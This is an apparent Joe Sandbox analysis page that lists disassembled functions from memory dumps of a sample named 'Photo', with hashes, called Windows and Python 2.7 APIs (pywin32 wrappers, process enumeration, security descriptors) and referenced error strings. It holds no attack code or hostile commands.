Opcode ID: 46c05328ee7976d7440bf2f43bdffecd6cb4c65775cb1d888be865e9f40e0576
Instruction ID: 7f23a4a1f2b1c2cbcfbaf322defb73a6374f4e8cc69aa36090b9374c9f2dad15
Opcode Fuzzy Hash: 46c05328ee7976d7440bf2f43bdffecd6cb4c65775cb1d888be865e9f40e0576
Instruction Fuzzy Hash: 57F0FFB5518241ABE304EF58CC80C6B77EDFBD8204F884A4CF69982211E631E915CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A21D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,lllO:AddAccessAllowedAceEx,?,?,?), ref: 1E7A21F0

Strings

AddAccessAllowedAceEx, xrefs: 1E7A221F
lllO:AddAccessAllowedAceEx, xrefs: 1E7A21EA

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: AddAccessAllowedAceEx$lllO:AddAccessAllowedAceEx
API String ID: 3371842430-1263352432
Opcode ID: 2016b7318cc1c9307ffe6315d39bfe0492d25665433e1036ba71498118c0f9de
Instruction ID: 2174431e89f6836d0037ace102f62b3d35fc440892d23438eac549f2bd8a23e7
Opcode Fuzzy Hash: 2016b7318cc1c9307ffe6315d39bfe0492d25665433e1036ba71498118c0f9de
Instruction Fuzzy Hash: 21F0B2B5518251ABE304EF58DC80CAB77EDEBDC604F884F4CF69983215E631E915CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02765DC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 02765C00: 6C423B4E.MSVCR90(00000000,0276253C,00000000,?,?,?,02765DCA,?,?,02765E23,?,02765F4A,0276253C,pir: GetExitCodeProcess() -> ERROR_ACCESS_DENIED,0276253C,?), ref: 02765C2B
Part of subcall function 02765C00: EnumProcesses.PSAPI(00000000,-00001000,?,?), ref: 02765C43

6C423B4E.MSVCR90(00000000,00000000,?), ref: 02765DEF

Strings

N;Bl, xrefs: 02765DEF, 02765DFE

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: C423$EnumProcesses
String ID: N;Bl
API String ID: 138237554-4110088855
Opcode ID: b73f990c9e20165726cd8aef675137990ac42cd24c5434806b5fad608f435978
Instruction ID: 581deb92c971fcfef97988ae1047746dc50169ba210fe301f9748005d38d6b32
Opcode Fuzzy Hash: b73f990c9e20165726cd8aef675137990ac42cd24c5434806b5fad608f435978
Instruction Fuzzy Hash: F1F0A0F1A012118BDB186A74A84C96B3359EF40226F644A39E957C7181EB31D020A692

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA660 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,Buffer cannot be None), ref: 1E7AA69B
PyObject_AsReadBuffer.PYTHON27(?,?,?), ref: 1E7AA6B2

Strings

Buffer cannot be None, xrefs: 1E7AA695

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: BufferErr_Object_ReadString
String ID: Buffer cannot be None
API String ID: 2639099642-305949699
Opcode ID: 19c57a778f8e9aa1081b611f4b79bb025d1220240c0f4c5aeb705c9aee0f7808
Instruction ID: a688b6be686cb57bf39391a94feefbd22bdef396c9fa96efdcf007c4d6a4b364
Opcode Fuzzy Hash: 19c57a778f8e9aa1081b611f4b79bb025d1220240c0f4c5aeb705c9aee0f7808
Instruction Fuzzy Hash: 30F04474604201EFE700DF24C894B1AB7EAFBC8319F488A58F959873A4D375E841CF52

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA6D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,Buffer cannot be None), ref: 1E7AA70B
PyObject_AsWriteBuffer.PYTHON27(?,?,?), ref: 1E7AA722

Strings

Buffer cannot be None, xrefs: 1E7AA705

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: BufferErr_Object_StringWrite
String ID: Buffer cannot be None
API String ID: 334160135-305949699
Opcode ID: c4ba574ea6a0bbdb1c1885778383a5aa53c7cf8077222459e5814996ff224a12
Instruction ID: 227a7656f5a7a9ae79d213f45de0f893da0795107b3711735d4bfed2e7804f4d
Opcode Fuzzy Hash: c4ba574ea6a0bbdb1c1885778383a5aa53c7cf8077222459e5814996ff224a12
Instruction Fuzzy Hash: 06F0E774504201EFE700DF24C894B5AB7E5FBC8719F588A58F959873A0E375E845CF52

Uniqueness

Uniqueness Score: -1.00%

Function 027667D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 02766100: GetCurrentProcess.KERNEL32(?,?,00000000), ref: 0276614F
Part of subcall function 02766100: IsWow64Process.KERNEL32(00000000,?,00000000), ref: 0276615C
Part of subcall function 02766100: IsWow64Process.KERNEL32(00000000,?,?,00000000), ref: 0276616C
Part of subcall function 02766100: PyErr_Clear.PYTHON27(?,?,?,00000000), ref: 027661AE
Part of subcall function 02766100: CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 02766488
Part of subcall function 02766100: 6C423B4E.MSVCR90(00000000,?,?,00000000), ref: 02766493

PyUnicodeUCS2_FromWideChar.PYTHON27(00000002,?,?,?,?,02761B86), ref: 02766803
6C423B4E.MSVCR90(00000002,?,?,?,02761B86), ref: 02766813

Strings

N;Bl, xrefs: 02766813

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Process$C423Wow64$CharClearCloseCurrentErr_FromHandleUnicodeWide
String ID: N;Bl
API String ID: 3377497924-4110088855
Opcode ID: 95329e7a76b129c166fbd297dc3b6756ffee7d5d5c5e5de8b06b77e0735e5b9c
Instruction ID: d301de0a3ff2c38aab2d5ce79ec69244f124167706a8843015087eb791f480ff
Opcode Fuzzy Hash: 95329e7a76b129c166fbd297dc3b6756ffee7d5d5c5e5de8b06b77e0735e5b9c
Instruction Fuzzy Hash: 6DF08271904212ABC611EB1CAC4996BBBA99FC0A15F448528FD4897205E735D529CBE3

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A5A30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:SECURITY_ATTRIBUTES,?,?,1E7AC545,000000FF), ref: 1E7A5A50
??0PySECURITY_ATTRIBUTES@@QAE@XZ.PYWINTYPES27(?,?,?,?,?,1E7AC545,000000FF), ref: 1E7A5A78

Part of subcall function 1E7A57A0: ??0PySECURITY_DESCRIPTOR@@QAE@H@Z.PYWINTYPES27(00000014,?,?,?,?,?,000000FF), ref: 1E7A57EB

Strings

:SECURITY_ATTRIBUTES, xrefs: 1E7A5A4A

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: :SECURITY_ATTRIBUTES
API String ID: 3371842430-781453600
Opcode ID: 97dc0fcc2ffbb38c8d2fa18ac671e02a9d77380a627e85d9754ccc30bca6deea
Instruction ID: 139a1ec2d183b8573b6fa07223e233117c3cf4f7e98ee41a91cee8791dd9c6a1
Opcode Fuzzy Hash: 97dc0fcc2ffbb38c8d2fa18ac671e02a9d77380a627e85d9754ccc30bca6deea
Instruction Fuzzy Hash: 49F09071644680AFFB04DF288D5172A76D4EBC4710F884F2CA60987791E73C9404CB42

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A4080 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

The object is not a PyHANDLE object, xrefs: 1E7A40CE

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID:
String ID: The object is not a PyHANDLE object
API String ID: 0-1472460041
Opcode ID: b16bbc3c3540c80b4e2d12e95baacea7153eab08338637abd6f6f01700d6faa8
Instruction ID: 8ace2676f54b8ef0a103196ba0983d8f9ecfb5d7735ed0d57fc716834aa7d7dc
Opcode Fuzzy Hash: b16bbc3c3540c80b4e2d12e95baacea7153eab08338637abd6f6f01700d6faa8
Instruction Fuzzy Hash: F0F0FE74614241DFE704CF24DC94A0677E5ABC8315F988A98F64487365E376EC80DB55

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA740 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

PySequence_Tuple.PYTHON27(?,1E7A95B4,?,?), ref: 1E7AA745
PyErr_Format.PYTHON27(?,Sequence can contain at most %d items,000000FF), ref: 1E7AA77B

Strings

Sequence can contain at most %d items, xrefs: 1E7AA775

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_FormatSequence_Tuple
String ID: Sequence can contain at most %d items
API String ID: 265768891-3507602910
Opcode ID: d8d6afdfbb9cbf3b130b51502246ed754ac2cb1c310f0387f610daff4be3b9a1
Instruction ID: 6421c2fa2fc9848ac64fe7f6484a11aff877643a5084c5f79034508cd35374b1
Opcode Fuzzy Hash: d8d6afdfbb9cbf3b130b51502246ed754ac2cb1c310f0387f610daff4be3b9a1
Instruction Fuzzy Hash: E0F0A0749002029FEB08DF64D98485733A6AFC8338B698358F62A4B7F1E734DC52DB02

Uniqueness

Uniqueness Score: -1.00%

Function 02767C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

RtlNtStatusToDosErrorNoTeb.NTDLL(00000000), ref: 02767C61
PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000,?), ref: 02767C87

Strings

(originated from %s), xrefs: 02767C75

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_ErrorFilenameFromStatusWindowsWith
String ID: (originated from %s)
API String ID: 3439497670-1804376747
Opcode ID: 77c619dea4555fa9a21eedc52e8ca204b0702d3b12a5fbc7002a939f75f77b67
Instruction ID: 366820aadbd8ba03ed5c5ccbb40727540175ae6b8c1abcaba38c3d54825f9ffb
Opcode Fuzzy Hash: 77c619dea4555fa9a21eedc52e8ca204b0702d3b12a5fbc7002a939f75f77b67
Instruction Fuzzy Hash: 4BE0E5B5900211EBD7249724C88CABB7798EB44204F048818FB46A3200D2349819C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A49E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(00000000,The string is too long), ref: 1E7A4A0D
?PyWinCoreString_FromString@@YAPAU_object@@PB_WH@Z.PYWINTYPES27(?,000000FF), ref: 1E7A4A25

Strings

The string is too long, xrefs: 1E7A4A07

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: CoreErr_FromStringString@@String_U_object@@
String ID: The string is too long
API String ID: 1928936689-1150129668
Opcode ID: 2126abc13462aac166fd96a83b9d679a8c95d2edcd03a74c1f742252c852e550
Instruction ID: 140cd566065624560fef59a2dbca3b2a561fb194f070c44245e7b0d89a700948
Opcode Fuzzy Hash: 2126abc13462aac166fd96a83b9d679a8c95d2edcd03a74c1f742252c852e550
Instruction Fuzzy Hash: 04E0D8B5910111ABF314DF64DC89EE673ADABCC708F4C0B28FA54C22C0FABAD654CA51

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A4640 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?), ref: 1E7A464C
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(RegCloseKey,00000000), ref: 1E7A4669

Strings

RegCloseKey, xrefs: 1E7A4664

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: CloseError@@U_object@@Win_
String ID: RegCloseKey
API String ID: 1034232812-2838036789
Opcode ID: 7d9df3432cc1dbb9cf2862c5f58f9f1a4a214cc6e82f1e3c6292054b0065c490
Instruction ID: 68866fbe72ae9d0c7b84e0fd236e99aaab0eed117d67b761fa5e8b109a6c7f97
Opcode Fuzzy Hash: 7d9df3432cc1dbb9cf2862c5f58f9f1a4a214cc6e82f1e3c6292054b0065c490
Instruction Fuzzy Hash: 4EE0CD37D0153167E62006797C08B83E6985FC49A0F0E8712AF08D3318F760D810C9E5

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A41A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:Detach), ref: 1E7A41AA

Strings

:Detach, xrefs: 1E7A41A4

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: :Detach
API String ID: 3371842430-4103459575
Opcode ID: df6d6618377fd099a107d91d811ae1db2e0d67615b640fe5b6a37cd9dcd82a3a
Instruction ID: ede5e5d1767ed638faf1f10c17aa865b9927e94bbd855ee55707449518be4470
Opcode Fuzzy Hash: df6d6618377fd099a107d91d811ae1db2e0d67615b640fe5b6a37cd9dcd82a3a
Instruction Fuzzy Hash: 0AE04F769012119BFA509B65ED48A4777E99FE4355F8A8718FE04C3120F335E901CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A4C90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 1E7A4CBF
?PyWinCoreString_FromString@@YAPAU_object@@PB_WH@Z.PYWINTYPES27(?,000000FF), ref: 1E7A4CCF

Part of subcall function 1E7A8D80: PyUnicode_EncodeMBCS.PYTHON27(?,?,ignore,?,1E7A44A3,?,000000FF), ref: 1E7A8DA9

Strings

IID('%ws'), xrefs: 1E7A4CB9

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: CoreEncodeFromString@@String_U_object@@Unicode_wsprintf
String ID: IID('%ws')
API String ID: 3792274457-2301737843
Opcode ID: 8a14e57cda7b935a403cc0ac7e33954166b7022befa0ad3e0e61d947b577112d
Instruction ID: 2d2d4485e3fd04aecccba5e7c1875613c9d76b5ca7e0269f76f9520b57c18360
Opcode Fuzzy Hash: 8a14e57cda7b935a403cc0ac7e33954166b7022befa0ad3e0e61d947b577112d
Instruction Fuzzy Hash: 9FE08675444345ABE628DB60DC88EDA73ACABE8715F084F0CF2A5811D0DA78A148CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A4BD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 1E7A4BFB
?PyWinCoreString_FromString@@YAPAU_object@@PB_WH@Z.PYWINTYPES27(?,000000FF,?,?,00000100,00000100), ref: 1E7A4C0B

Part of subcall function 1E7A8D80: PyUnicode_EncodeMBCS.PYTHON27(?,?,ignore,?,1E7A44A3,?,000000FF), ref: 1E7A8DA9

Strings

IID('%ws'), xrefs: 1E7A4BF5

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: CoreEncodeFromString@@String_U_object@@Unicode_wsprintf
String ID: IID('%ws')
API String ID: 3792274457-2301737843
Opcode ID: 2abbe10c6e8e3aa996611bea5ddff082f6dfd2988d33d5695f436cfc0d175c55
Instruction ID: 22109b8ba7a8e5182a843bf6f6f16d9fb55b2b12166e3122a4bcc044e99b3ef9
Opcode Fuzzy Hash: 2abbe10c6e8e3aa996611bea5ddff082f6dfd2988d33d5695f436cfc0d175c55
Instruction Fuzzy Hash: A8E0CD7544434567E624DB50DC88EDA736C9BEC315F084F08F3A5811D0D6786148C761

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A7400 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,accessing non-existent SID segment), ref: 1E7A7414
GetLengthSid.ADVAPI32(00000000), ref: 1E7A7432

Strings

accessing non-existent SID segment, xrefs: 1E7A740E

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_LengthString
String ID: accessing non-existent SID segment
API String ID: 1760038233-3097192503
Opcode ID: 14be65b52f7148950622b5230740f973da08e08fe7c405ae6a5a67ca233c0de9
Instruction ID: 6cd91ad286f46aaf469f0a576c27ed529f60a56409ecb5a537196b02de065097
Opcode Fuzzy Hash: 14be65b52f7148950622b5230740f973da08e08fe7c405ae6a5a67ca233c0de9
Instruction Fuzzy Hash: A2E09278600210EFD604CF24C9C8A1AB7E5EBC9315F188B58FA59873B1D674E841DF51

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6D60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,accessing non-existent SID segment), ref: 1E7A6D74
GetSecurityDescriptorLength.ADVAPI32(00000000), ref: 1E7A6D92

Strings

accessing non-existent SID segment, xrefs: 1E7A6D6E

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: DescriptorErr_LengthSecurityString
String ID: accessing non-existent SID segment
API String ID: 32998279-3097192503
Opcode ID: 9aef06ef43b9c8e85925e2d1e9ccbaa3db07d46650957569e10a01251027214a
Instruction ID: 808be5442e337268da46dc4997b0412caebfe655a7adbcb1d1c9b31d747b21d1
Opcode Fuzzy Hash: 9aef06ef43b9c8e85925e2d1e9ccbaa3db07d46650957569e10a01251027214a
Instruction Fuzzy Hash: B1E092B8500200EFD604DB24C98891AB7E5ABC9315F18CB58E959873A1C674E841CA51

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A8770 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

PyType_Ready.PYTHON27(?,1E7AAAFA,00000000), ref: 1E7A8775
PyDict_SetItemString.PYTHON27(?,TimeType,?), ref: 1E7A8792

Strings

TimeType, xrefs: 1E7A878C

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Dict_ItemReadyStringType_
String ID: TimeType
API String ID: 3706659500-1114695889
Opcode ID: bed97daf3c5b50e0ba997466c55de5c4a08913e7e6b78094c5e21c873f17e9a6
